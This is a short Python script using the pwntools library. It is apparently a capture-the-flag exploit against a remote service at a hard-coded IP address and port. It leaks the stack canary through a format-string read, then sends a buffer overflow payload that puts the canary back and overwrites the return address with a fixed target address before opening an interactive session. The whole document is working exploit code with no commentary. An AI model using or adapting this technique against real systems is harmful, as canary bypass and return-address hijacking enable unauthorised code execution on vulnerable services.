from pwn import *
p = remote("88.198.219.20", 63293)

p.sendline("%11$p")
p.recvuntil("you, ")
canary = p.recvuntil("!")
canary = int(canary[0:10], 16)

payload = "A" * (0x25 - 0x0C)
payload += p32(canary)
payload += "A" * 12
payload += p32(0x80491D2)

p.sendline(payload)
p.interactive()
